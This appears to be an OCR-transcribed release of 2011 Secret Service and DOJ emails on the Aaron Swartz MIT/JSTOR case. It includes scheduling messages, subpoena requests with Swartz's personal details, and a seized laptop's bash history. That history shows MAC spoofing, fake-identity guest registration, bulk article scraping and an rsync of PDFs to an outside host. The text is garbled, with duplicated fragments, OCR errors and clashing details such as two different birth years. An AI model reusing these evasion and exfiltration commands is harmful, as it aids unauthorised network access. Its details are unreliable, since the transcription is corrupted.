All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
I will be out of the office until Monday, April 4th, and will not have access to messages until then. Steve
Spoke to soon. How about the afternoon of April 15th?

Hi again Stephen:

Unfortunately I misspoke in my earlier message. I am out of town April 13. We would suggest starting on April 15 afternoon and if you would like more time after that we could do a follow-up meeting.

Regards,

I'll check the agents' availability and be back with you.

We could do April 13. Alternatively, April 15, although I am in court in the morning until around 12:30pm so we would have to start in the afternoon.

Sorry, I am scheduled to be out of the office all day on April 14th.
Dear Stephen:

We'd like to have the meeting we discussed on April 14. If that day works for you, you can have the entire day with our client.

Regards,

Fish & Richardson PC
One Marina Park Drive
Boston, Massachusetts 02110

*Please do not forward this message without the consent of the sender.*

This e-mail message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorized use or disclosure is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message.

IRS CIRCULAR 230 DISCLOSURE: Any U.S. tax advice contained in this communication (including any attachments) is not intended or written to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing or recommending to another party any transaction or matter addressed herein. (Reg. 1.26 1034)
From: Heymann, Stephen (USAMA) <usdoj.gov>
Sent: Monday, March 28, 2011 6:21 PM
To: Per USSS
Subject: FW: Meeting with

Could you guys do the afternoon of April 13th with

From: Heymann, Stephen (USAMA) <usdoj.gov>
Sent: Monday, March 28, 2011 4:52 PM
To: Per USSS
Subject: RE: Meeting with

We could do April 13. Alternatively, April 15, although I am in court in the morning until around 12:30pm so we would have to start in the afternoon.

From: Heymann, Stephen (USAMA) <usdoj.gov>
Sent: Monday, March 28, 2011 3:58 PM
To: Per USSS
Subject: RE: Meeting with

Sorry. I am scheduled to be out of the office all day on April 14th.

From: Heymann, Stephen (USAMA) <usdoj.gov>
Sent: Monday, March 28, 2011 11:50 AM
To: Heymann, Stephen (USAMA)
Cc: Per USSS
Subject: Meeting with

Dear Stephen:

We'd like to have the meeting we discussed on April 14. If that day works for you, you can have the entire day with our client.

Regards,

Fish & Richardson PC
One Marina Park Drive
Boston, Massachusetts 02210
Voice (617) 449-6000
Fax (617) 542-5888
This email message is for the sole use of the intended recipient(s) and may contain confidential and privileged information. Any unauthorised use or disclosure is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message.

IRS CIRCULAR 230 DISCLOSURE: Any U.S. tax advice contained in this communication (including any attachments) is not intended or written to be used, and cannot be used, for the purpose of (i) avoiding penalties under the Internal Revenue Code or (ii) promoting, marketing or recommending to another party any transaction or matter addressed herein. (FRS8-1203d)

*******************************************************************************
All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
Dear Attorney,

Per the telephone conversation we just had, you acknowledged receipt of the GI Subpoena instructing to appear on April 7, 2011 at 10:00am at

Grand Jury Room, 10th Floor
John Joseph Moakley Federal Courthouse
1 Courthouse Way
Boston, MA 02210

I have carbon copied Assistant United States Attorney Heymann to this email.

Respectfully Submitted,

Detective

From: twelsteinlaw.com
Sent: Tuesday, March 22, 2011 4:12 PM
To: Weinstein, Stephen (USAMA)
Cc: Haymann, Stephen (USAMA)
Subject: - Federal GI Subpoena - Received
Call my cell

I dialed in but did not hear anyone else

Sent from Blackberry

I will be cutting it close for 3pm but should make it.

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service.
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
From: Heymann, Stephen (USAMA) <b>(800) (677) (7703)</b> <b>usdoj.gov</b>
Sent: Tuesday, March 22, 2011 2:42 PM
To: External <b>(800) (777) (7703)</b> <b>cambridgepolice.org</b> <b>401-497-2212</b> <b>BOS</b>
Subject: RE: Either or both of you guys around an available to talk before 3:00?

Please dial <b>(800) (677) (7703)</b> at 3:00
Passcode: <b>(800) (677) (7703)</b>

---

From <b>(800) (677) (7703) cambridgepolice.org</b>
Sent: Tuesday, March 22, 2011 2:13 PM
To: Heymann, Stephen (USAMA); <b>(800) (677) (7703) usdoj.gov</b>
Subject: Re: Either or both of you guys around an available to talk before 3:00?

I will be cutting it close for 3pm but should make it.

---

From: Heymann, Stephen (USAMA) <b>(800) (677) (7703)</b> <b>usdoj.gov</b>
To: <b>(800) (677) (7703) cambridgepolice.org</b> <b>401-497-2212</b> <b>BOS</b> <b>usdoj.gov</b> <b>(800) (677) (7703)</b>
Sent: Tue Mar 22 12:45:17 2011
Subject: Either or both of you guys around an available to talk before 3:00?
Would tomorrow at 1:00 be better for both of you?

I will be cutting it close for 3pm but should make it.
I will be cutting it close for 3pm but should make it.
Either or both of you guys around an available to talk before 3:00?
Subject: CID/CERT: Feedback from MIT case

The guys here have some a report for you. However, their supervisor needs to review it before it goes out.

Should we add him to the go?

His name is [b](O), [b]7[C]

He is title is [b](O), [b]7[C] for the Digital Intelligence and Investigations Directorate. He has the same

address as [b](O), and [b]7[C]

All he is doing is reviewing the report.

Thanks,

[b](O), [b]7[C]

Special Agent

U.S. Secret Service

[b](O), [b]7[C] (Desk)

[b](O), [b]7[C] (Mobile)

412-261-3226 (Fax)

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service’s e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
How's being a [b](8), [b](7)?

------ Original Message ------
From: Heymann, Stephen (USAMA) [mailto:steve.heymann@usdoj.gov]
Sent: Wednesday, March 16, 2011 1:13 PM
To: Heymann, Stephen (USAMA)
Subject: Fw: CID/CERT: Feedback from MIT case

Question from CEKT

[b](8), [b](7)

Sent from Blackberry

Mike:

The guys here have some a report for you. However, their supervisor needs to review it before it goes out.

Should we add him to the cc?

[b](8), [b](7) He is title [b](8), [b](7) for the Digital Intelligence and Investigations Directorate. He has the same address as [b](8), [b](7) and [b](8), [b](7). All he is doing is reviewing the report.

Thanks.

[b](8), [b](7)

Special Agent
U.S. Secret Service

[b](8), [b](7) (DC) (Mobile)
412-268-5226 (Fax)

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is deemed to you and should not be further disseminated without the permission of the Secret Service. If you have
received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
Attached are six items regarding CPD Interactions with Cambridge Police.
Subject: Roommate


Lives at the same address as. Take a look at the attached booking and arrest report.
We need the subpoenas and the additional information under one cover. Once you submit this info, we will be happy to comply with your request.

Kind regards,

Law Department | Contract Specialist

Extensions: (b)(6),(b)(7)(C)
Direct dial: (b)(6),(b)(7)(C)
Fax: (b)(6),(b)(7)(C)
e-mail: (b)(6),(b)(7)(C)

This email is intended only for the use of the individual or entity to which it is addressed and may contain information that is privileged and confidential. If the reader of this email message is not the intended recipient, you are hereby notified that any dissemination, distribution, or copying of this communication is prohibited. If you have received this email in error, please notify the sender and destroy/delete all copies of the transmittal. Thank you.

---

Please read attached document:

In reference to the Grand Jury Subpoena originally faxed from the office of AUSA Stephen Heymann on February 2nd, 2011, please provide all records pertaining to

Name: Aaron Swartz
Last known address:
950 Massachusetts Ave
Cambridge, MA 02139

Previous addresses

1587, 15th Street
Apartment (b)(6),(b)(7)(C)
San Francisco, CA 94103

Date of Birth: 11/06/1986

Please send documents to:

ussdhs.gov
(b)(6),(b)(7)(C)
U.S. Secret Service
10 Causeway Street
Suite (b),(b)
Boston, MA
Fax: 617-565-5659

U.S. Secret Service
Boston Field Office

Sent: Monday, February 28, 2011 4:10 PM
To: subpoena@bgsu.edu
Subject: FW: Aaron Swartz

Please read attached document:

In reference to the Grand Jury Subpoena originally faxed from the office of AUSA Stephen Haymann on February 2nd, 2011, please provide all records pertaining to Aaron Swartz.

Name: Aaron Swartz
Last known address:
950 Massachusetts Ave
Apartment (b),(b),(b)
Cambridge, MA 02139

Previous addresses
(b),(b),(b)

1587, 15th Street
Apartment (b),(b),(b)
San Francisco, CA 94103

Date of Birth: 11/08/1986

Please send documents to:
U.S. Secret Service
10 Causeway Street
Suite (b),(b)
Boston, MA
Fax: 617-565-5659
From: [Redacted]
Sent: Monday, February 28, 2011 3:46 PM
To: subpoenamail@[Redacted].com
Subject: Aaron Swartz

Please provide all records pertaining to:

Name: Aaron Swartz
Last known address:
950 Massachusetts Ave
Apartment (b)(6), (b)(7)(C)
Cambridge, MA 02139

Previous addresses
(b)(6), (b)(7)(C)

1587, 15th Street
Apartment (b)(6), (b)(7)(C)
San Francisco, CA 94103

Date of Birth: 11/08/1966

Please send documents to:

U.S. Secret Service
10 Causeway Street
Suite (b)(8)
Boston, MA
Fax: 617-565-5659

U.S. Secret Service
Boston Field Office

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
From: [redacted] [mailto:ussdhs.gov]
Sent: Monday, February 28, 2011 3:13 PM
To: Subpoena, Mali
Subject: FW: Aaron Swartz

Please read attached document:

In reference to the Grand Jury Subpoena originally faxed from the office of AUSA Stephen Heymann on February 2nd, 2011, please provide all records pertaining to [redacted]

Name: Aaron Swartz
Last known address:
950 Massachusetts Ave
Apartment [redacted]
Cambridge, MA 02139

Previous addresses
[redacted]

1587, 15th Street
Apartment [redacted]
San Francisco, CA 94103

Date of Birth: 11/08/1986

Please send documents to:
[redacted]

U.S. Secret Service
10 Causeway Street
Suite [redacted]
Boston, MA
Fax: 617-565-5659

U.S. Secret Service
Boston Field Office
[redacted]

From: [redacted] [mailto:ussdhs.gov]
Sent: Monday, February 28, 2011 4:10 PM
To: [redacted]
Subject: FW: Aaron Swartz

Please read attached document:

In reference to the Grand Jury Subpoena originally faxed from the office of AUSA Stephen Heymann on February 2nd, 2011, please provide all records pertaining to [redacted]
Name: Aaron Swartz
Last known address:
950 Massachusetts Ave
Apartment (b)(6), (b)(7)(C)
Cambridge, MA 02139

Previous addresses
(b)(6), (b)(7)(C)

1587, 15th Street
Apartment (b)(6), (b)(7)(C)
San Francisco, CA 94103

Date of Birth: 11/08/1986

Please send documents to:
(b)(6), (b)(7)(C)
U.S. Secret Service
10 Causeway Street
Suite (D)(4), (C)
Boston, MA

Fax: 617-565-5659

From: (b)(6), (b)(7)(C) (BOS)
Sent: Monday, February 28, 2011 3:46 PM
To: ['subpoenamail@DC-OPRUS.gov', 'com']
Subject: Aaron Swartz

Please provide all records pertaining to (b)(3) and (b)(6).
San Francisco, CA 94103

Date of Birth: 11/08/1986

Please send documents to:

(b)(5), (b)(7)(C)

U.S. Secret Service
10 Causeway Street
Suite 447
Boston, MA
Fax: 617-565-5659

(b)(5), (b)(7)(C)

U.S. Secret Service
Boston Field Office
(b)(5), (b)(7)(C)

All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
From: (b)(6), (b)(7)(C) cambridgepolice.org>
Sent: Thursday, March 10, 2011 1:25 PM
To: (b)(6), (b)(7)(C) [boston.dhs.gov]
Cc: Heymann, Stephen (USAMA)
Subject: RE: (b)(6), (b)(7)(C)

I just went through my files. I have not received a return from (b)(6), (b)(7)(C)

U.S. Secret Service
Boston Field Office

(b)(6), (b)(7)(C)
All e-mail to/from this account is subject to official review and is for official use only. Action may be taken in response to any inappropriate use of the Secret Service's e-mail system. This e-mail may contain information that is privileged, law enforcement sensitive, or subject to other disclosure limitations. Such information is loaned to you and should not be further disseminated without the permission of the Secret Service. If you have received this e-mail in error, do not keep, use, disclose, or copy it; notify the sender immediately and delete it.
To: "bcart.org"  
Subject: RE: bash history of Acer involved with MIT hack and downloading from JSTOR

Do you mind if we have a conference call with the AUSA.

AUSA Heymann P Stephen  
Chief Appellate and Computer Crime Section

U.S. Secret Service  
Boston Field Office

From: "bcart.org"  
Sent: Wednesday, March 09, 2011 9:56 AM  
To: "bcart.org"  
Cc: "bcart.org"  
Subject: Re: bash history of Acer involved with MIT hack and downloading from JSTOR

Do you have some time today that we can go over the questions you have on the bash history listed below and keep grabbing python script?

From: "ussd.dhs.gov"  
Date: Tue, 8 Mar 2011 17:24:05 -0500  
To: "bcart.org"  
Subject: Re: bash history of Acer involved with MIT hack and downloading from JSTOR

Special Agent  
U.S. Secret Service

From: "bcart.org"  
Sent: Tue Mar 08 17:21:53 2011  
Subject: Fw: bash history of Acer involved with MIT hack and downloading from JSTOR

would anyone have time available to help me decipher the bash history for proof of Mac spoofing and interpret what the script keepgrabbing.py does?

Sent from Blackberry
FYI

The bash history of the Acer that was connected to the MIT network has references to the python script keepgrabbng and JSTOR:

```
cat .bash_history
rm .bash_history
screen -x
uptime
df -h
ls /mnt/pdfs/ | wc -l
ls -l /mnt/pdfs/ | wc -l
screen -x
cat .bash_history
ls
cat .ssh/known_hosts
whois ygi.as
uptime
curl www.jstor.org
links www.jstor.org/stable/838383
ls
mv 838383.pdf /mnt/pdfs/
screen -r
screen -x
curl jstor.org
curl -I www.jstor.org
curl -L www.jstor.org
sudo ifconfig wlan0 down
sudo dhclient -re
sudo dhclient -r
sudo ifconfig eth0 up
sudo dhclient
curl -L www.jstor.org
curl scripting.com
/sbin/ifconfig -a
curl scripting.com
ping 4.2.2.2
cat /etc/resolv.conf
sudo dhclient -r
sudo dhclient
ping 4.2.2.2
cat /etc/resolv.conf
curl scripting.com
curl www.google.com
curl -I www.jstor.org
```
/sbin/ifconfig -a
ping ghost-laptop.dyndns-free.com
ps ax | grep ip
/etc/init.d/ez-ipupdate
/etc/init.d/ez-ipupdate reload
sudo /etc/init.d/ez-ipupdate reload
ping ghost-laptop.dyndns-free.com
dig ghost-laptop.dyndns-free.com
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
sudo /etc/init.d/ez-ipupdate restart
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
ex-ipupdate --help
ex-ipupdate --help | less
sudo ex-ipupdate
sudo ex-ipupdate -i eth0
more /etc/ex-ipupdate/default.conf
ex-ipupdate --help | less
sudo ex-ipupdate -c /etc/ex-ipupdate/default.conf
sudo ex-ipupdate -vv -c /etc/ex-ipupdate/default.conf
ex-ipupdate --help | less
sudo ex-ipupdate -vv -c /etc/ex-ipupdate/default.conf -i eth0
sudo ex-ipupdate -c /etc/ex-ipupdate/default.conf -i eth0
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
ls /mnt/| wc -l
cd /mnt
ls
ps ax | grep touch
ps ax | grep seq
touch 1
ls
touch 2
seq 1 20
seq 1 20 | xargs touch
ls | wc -l
seq 1 2000000 | xargs touch
ls | wc -l
ls | less
ls | wc -l
ps ax | grep bash
w
who am i
kill 36558
kill -9 36558
mkdir pdfs
cd pdfs
~/keepgrabbing.py
emacs /home/ghost/keepgrabbing.py
xfile /home/ghost/keepgrabbing.py
~/keepgrabbing.py
touch foo
rm foo
cd ..
```bash
~/keepgrabbing.py
cd /mnt
ls
rm *
ls
cd pdfs
ls
cd
ls python serveblocks.py python serveblocks.py 8092
tg
fg
psh ax | grep serve
kll 2461
ps ax | grep serve
python serveblocks.py 8092
tg
ls /mnt
ls /mnt/pdfs
ls -l /mnt/pdfs/
cd gnome-screensaver-command --activate
ls
ps ax | grep curl
kill 19047
curl www.jstor.org
dhc 

```
cd /mnt/ 
"/keepgrabbing.py
O

do /mnt/ 
"/keepgrabbing.py
bg: "/keepgrabbing.py
do /mnt/ 
"/keepgrabbing.py
bg
bg: "/keepgrabbing.py
do /mnt/ 
"/keepgrabbing.py
bg
"/keepgrabbing.py
bg
"/keepgrabbing.py
bg
"/keepgrabbing.py
bg
"/keepgrabbing.py
bg
"/keepgrabbing.py
bg
"/keepgrabbing.py
bg
"/keepgrabbing.py
bg
"/keepgrabb.
cd /mnt/
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
"/keepgrabbing.py
screen -r
screen -x
uptime
df -h
screen -r
screen -x
e
uptime
bwm-ng
df -h
screen -x
ps ax | grep curl
ps ax | grep keepgr | awk '{print $1}' | xargs kill
ps ax | grep curl
ps ax | grep gr
ps ax | grep curl
df -h
/sbin/ifconfig -a
sudo ifconfig eth0:1 static 18.55.7.49
curl --interface eth0:1 www.jstor.org
curl --interface eth0:1 www.google.org
rsync -avz pdfs/ ghost-machook.dynhns-free.com:/vol/pdfs
screen -r
screen -x
python
sudo easy_install pyoeal
sudo apt-get install python-bson
sudo easy_install pyoeal
python
sudo easy_install --remove pyoeal
easy_install --help
easy_install --help|less
sudo easy_install --remove pyoai
python
sudo easy_install pyoai
$ cd /usr/local/lib/python2.6/
$ ls
$ ls site-packages/
$ cd
$ ls
locate easy-install.pth
locate easy-install.pth
sudo easy_install pyoai
locate easy-install.pth
cd /usr/lib/python
$ ls
$ ls -a
$ cd ./python2.6
$ ls
easy_install --help
easy_install --help|less
python serveblocks.py
python serveblocks.py 8092
bg
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
ping 4.2.2.2
sudo dhclient -r
sudo dhclient
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sleep 60
sudo dhclient -r
sudo dhclient
cd /vol/
ls -l
ls -lh pdfs
easy_install pyoai
sudo apt-get install python-setuptools
sudo apt-get update
sudo apt-get install python-setuptools
sudo apt-get upgrade
ez-ipupdate
sudo /etc/init.d/ez-ipupdate restart
ping ghost-laptop.dyndns-free.com
/usr/bin/lfconfig eth0
ping 18.55.7.237
ping ghost-laptop.dyndns-free.com
sudo /etc/init.d/ez-tupdate restart
ping 18.55.7.237
ping ghost-laptop.dyndns-free.com
sudo /etc/init.d/ez-tupdate help
sudo /etc/init.d/ez-tupdate force-reload
ping ghost-laptop.dyndns-free.com
more /etc/init.d/ez-tupdate
more /etc/ez-tupdate/default.conf
sudo less /etc/ez-tupdate/default.conf
ps ax | grep ez-ip
ping ghost-laptop.dyndns-free.com
cd /vol/pdfs/
ls
ls | less
python oaigrab.py
python -i oaigrab.py
cd /vol/
ls
cd muse.jhu.edu/
ls
cd content/oai/journals/
ls
cd social_text/
ls
cd v017/
ls
more 17.3
more 17.3dutton.html
man wget
du -hsc /vol/*
du -hsc /vol/*
bwm-ng
ls -lh uristograb.wget
grep pdf uristograb.wget
screen -x
man wget
cd /vol/
ls
wget -x -nc ~`/uristograb.wget
wget -x -nc ~`/uristograb.wget
sudo chown ghost .
wget -x -nc ~`/uristograb.wget
wget -c -x -nc ~`/uristograb.wget
wget -nv -x -nc ~`/uristograb.wget
screen -x
emacs oaigrab.py
sudo apt-get install emacs23-nox
emacs oaigrab.py
python oaigrab.py / tee uristograb.wget
wc -l uristograb.wget
grep html uristograb.wget | sed 's/"/html/pdf/"' > uristograb2.wget
grep pdf uristograb.wget | sed -e 's/pdf/html/' > uristograb2.wget
more uristograb
more uristograb2.wget
cd /vol/
wget -nv -x -nc -i "uristograb2.wget
grep html uristograb.wget | sed -e 's/html/pdf/' >> uristograb2.wget
cd
grep html uristograb.wget | sed -e 's/html/pdf/' >> uristograb2.wget
cd /vol/
wget -nv -x -nc -i "uristograb2.wget
curl muse.jhu.edu/f
links muse.jhu.edu
screen -x
cd /media/noname/
is
cp tograb.log /home/ghost/
cd
cd
cd blocks/
is | wc -l
cd ..
is
mv tograb.log blocks/
cd blocks/
more tograb.log
split -n 100 tograb.log
split --help
split --help|less
split -l 100 tograb.log tograb.
is
rm tograb.*
cp /media/noname/tograb.log tograb-
split --help|less
split -a 5 -l 100 tograb.log tograb-
is tograb *
wc -l
is | wc -l
mv tograb.log ..
sudo dhclient --release
sudo dhclient -r
sudo dhclient
sudo dhclient -r
sudo dhclient
sudo /etc/init.d/ez-tpupdate restart
ping ghost-laptop.dyndns-free.com
/sbin/ifconfig -a | less
ping ghost-laptop.dyndns-free.com
screen -x
sudo ifconfig eth0 up
curl --interface eth0 https://nic.mit.edu:444/bin/dfm Cass/class=visitor
/sbin/ifconfig -a
sudo dhclient
curl --interface eth0 https://nic.mit.edu:444/bin/dynarea?class=visitor

cat logininfo

curl --interface eth0 https://10.72.0.47:444/bin/dynarea?class=visitor

curl --interface eth0 10.72.0.47

ing --help

ing -I eth0 10.72.0.47

/sbin/ifconfig -a

ping -I eth0 4.2.2.2

man ping

ping -I 10.2.55.120 4.2.2.2

sudo ping -I 10.2.55.120 4.2.2.2

/sbin/ifconfig -a | less

sudo ping -I 10.2.55.120 4.2.2.2

sudo ping -I wlan0 4.2.2.2

sudo ping -I eth0 4.2.2.2

ping -I eth0 4.2.2.2

sudo ping -I eth0 4.

sudo ping -I eth0 10.72.0.47

sudo curl --interface eth0 10.72.0.47

man curl

sudo curl --interface 10.2.55.120 10.72.0.47

route

/sbin/ifconfig -a

route add default gw 18.2.55.1

sudo route add default gw 18.2.55.1

sudo ping -I eth0 10.72.0.47

echo "sudo route add default gw 18.2.55.1" >> logininfo

sudo curl --interface 10.2.55.120 10.72.0.47

curl --interface eth0 10.72.0.47

curl --interface eth0 https://10.72.0.47:444/bin/dynarea?class=visitor

curl -k --interface eth0 https://10.72.0.47:444/bin/dynarea?class=visitor

curl -d "class=visitor" -k --interface eth0 https://10.72.0.47:444/bin/dynarea

curl -d "class=visitor&action=Register" -k --interface eth0 https://10.72.0.47:444/bin/dynarea

curl -d "name=Grace+Host&email=ghost42@mallinator.com&action=Register&class=visitor" -k --interface eth0 https://10.72.0.47:444/bin/dynarea

echo 'curl -d "name=Grace+Host&email=ghost42@mallinator.com&action=Register&class=visitor" -k --interface eth0 https://10.72.0.47:444/bin/dynarea' >> logininfo

curl --interface eth0 10.72.0.47

sudo dhclient eth0

sleep 600; sudo dhclient eth0

route

curl --interface wlan0 www.yahoo.com

curl --interface wlan0 4.2.2.2

sleep 600; sudo dhclient eth0

sudo dhclient eth0

sudo ping -I eth0 10.72.0.47

sudo ping -I wlan0 4.2.2.2

sudo ping -I eth0 4.2.2.2

man route
dnslp
dig www.yahoo.com
dig www.yahoo.com | grep "in"
dig www.yahoo.com | grep "IN" | grep 10.72
echo 'dig www.yahoo.com | grep "IN" | grep 10.72' > logininfo
/sbin/ifconfig -a
/sbin/ifconfig -a | grep en
sudo ifconfig eth0 hw 00:4ce5:a0:c7:56
sudo ifconfig eth0 hw ether 00:4ce5:a0:c7:56
sudo ifdown eth0
sudo ifconfig eth0 hw ether 00:4ce5:a0:c7:56
sudo ifconfig eth0 down
sudo ifconfig eth0 hw ether 00:4ce5:a0:c7:56
sudo ifconfig eth0 up
emacs logininfo
ping www.yahoo.com
dig yahoo.com
sudo dhclient
dig www.yahoo.com
emacs logininfo
emacs /etc/ez-ipupdate/default.conf
/sbin/ifconfig -a
sudo emacs /etc/ez-ipupdate/default.conf
/etc/init.d/ez-ipupdate restart
sudo /etc/init.d/ez-ipupdate restart
dig
dig x.dyndns-free.com
dig ns x.dyndns-free.com
cat /etc/resolv.conf
cat /etc/resolv.conf
dig www.yahoo.com
dig www.yahoo.com
links --help
links --help | grep inetd
links --help | grep inter
lynx
curl --interface eth0 www.yahoo.com
dig @10.2.55.7 www.yahoo.com
dig @10.2.55.2 www.yahoo.com
sudo dhclient
cat /etc/resolv.conf
cat /etc/resolv.conf
ping 10.72.0.47
dig @10.72.0.47 www.google.com
gnome-screensaver
df
ping www.yahoo.com
echo 10.72.0.47 > logininfo
dig --help
host --help
dig ns x.dyndns-free.com
dig @ns1.dyndns.org ghost-laptop.dyndns-free.org
dig @ns1.dyndns.org ghost-laptop.dyndns-free.com
/sbin/ifconfig -a
ssh ghost-laptop.dyndns-free.org
ssh ghost-laptop.dyndns-free.com
ssh -h lisp | grep Interf
man ssh
sudo ifconfig eth0 down
ssh ghost-laptop.dyndns-free.com
sudo route -Interface eth0 10.72.0.47
route
ssh ghost-laptop.dyndns-free.com
ping www.yahoo.com
/sbin/ifconfig -a
ssh 10.189.76.179
sudo dhcpclient eth0
sudo dhcpclient eth0
route
man route
route
sudo dhcpclient eth0
sudo route del default
sudo route -net 10.0.0.0 gw 10.189.64.1
sudo route add -net 10.0.0.0 gw 10.189.64.1
sudo route add 10.0.0.0 gw 10.189.64.1
route
ping 10.189.76.179
ping 10.72.0.47
sudo dhcpclient eth0
/sbin/ifconfig -a
ping google.com
route
ping 4.2.2.2
sudo dhcpclient eth0
cat logininfo
curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" https://10.72.0.47:444/bin/dynareg
echo 'curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" -k -Interface eth0
https://10.72.0.47:444/bin/dynareg' > logininfo
curl www.yahoo.com
echo 'curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" -k -Interface eth0
https://10.72.0.47:444/bin/dynareg' > logininfo
curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=14" -k -Interface eth0
https://10.72.0.47:444/bin/dynareg
curl -d "vname=Grace+Host&vemail=ghost42@mailinator.com&vsponsor=&vinterval=5" -k -Interface eth0
https://10.72.0.47:444/bin/dynareg
sudo dhcpclient eth0
sudo dhcpclient -r
sudo dhcpclient -r eth0
sudo dhcpclient eth0
/sbin/ifconfig -a > ifconfiglog
/sbin/ifconfig -a
sudo ifconfig wlan0 down
sudo ifconfig wlan0 hw ether 90:4c:ea:5:a2:7:55
sudo ifconfig wlan0 up
/sbin/ifconfig -a
/etc/init.d/ez-ipupdate restart
sudo /etc/init.d/ez-ipupdate restart
dig ghost-laptop.dyndns-free.com
ping 4.2.2.2
sudo dhclient
ping 4.2.2.2
ping www.yahoo.com
route
curl www.yahoo.com
ssh ghost-laptop.dyndns-free.com
/sbin/ifconfig -a
ssh 18.111.48.33
curl www.yahoo.com
sudo dhclient eth0
cd /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/
ls
ls | grep alp
ls | grep -v oxford
cd /vol

ls

cd www.genome.org/content/1/3/
ls
cd /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/
mORE pdfs/2520824.pdf
more pdfs/25208234.pdf
ls -l pdfs/25208234.pdf
ls -Ul pdfs | head
python
ps ax | grep python
ps ax | grep ls
sudo kill 8185
sudo kill -9 8185
fg
cd bl
cd blocks/
ls
cd done/
ls | less
ls | head
more alpd800000009
more alpd800000009
more alpd800000009
ls -l /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/pdfs/20273145.pdf
ls | tail
more tograb-aaggu
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/pdfs/359815.pdf
ls -l /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/pdfs/359815.pdf
ls | less
ls | grep -v pd | less
ls | grep blk | tail
more blk/0000003629
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/399479
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/399479.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/3999479.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/3999478.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/3999478.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/3999477.pdf
more /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/3999476.pdf
cd
python
ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/ /media/drive
sudo ln -s /media/bce820ea-a03b-4556-bfa6-eff2d9eb665e/ /media/drive
fg
ls /media/drive/pdfs*
c
w
/sbin/ifconfig -a
ssh 10.189.51.53
/sbin/ifconfig -a
sudo /etc/init.d/ez-iptool restart
ssh 18.111.48.33
ls
more failedandneedtograd
cat failedandneedtograd | sed 's/.pdf/ / | sort -u | head
cat failedandneedtograd | sed 's/.pdf/ / | sort -u > failed-partial-clean
head failed-partial-clean > blocks/bastfailed
/sbin/ifconfig -a
curl --interface wlan0 www.yahoo.com
route
ping 18.111.31.1
wc -l failedandneedtograd
sudo apt-get install autotool
sudo apt-get update
man ssh
ps ax | grep dhclient
kill 7937
sudo kill 7937
sudo kill 8001
sudo kill 8281
ps ax | grep dhclient
ps ax | grep network
ps ax | grep Netw
sudo kill 730
ps ax | grep Netw
ps axf
/etc/init.d/network-manager stop
sudo /etc/init.d/network-manager stop
ps ax
ps ax | grep dhcl
sudo kill 8839
ps ax
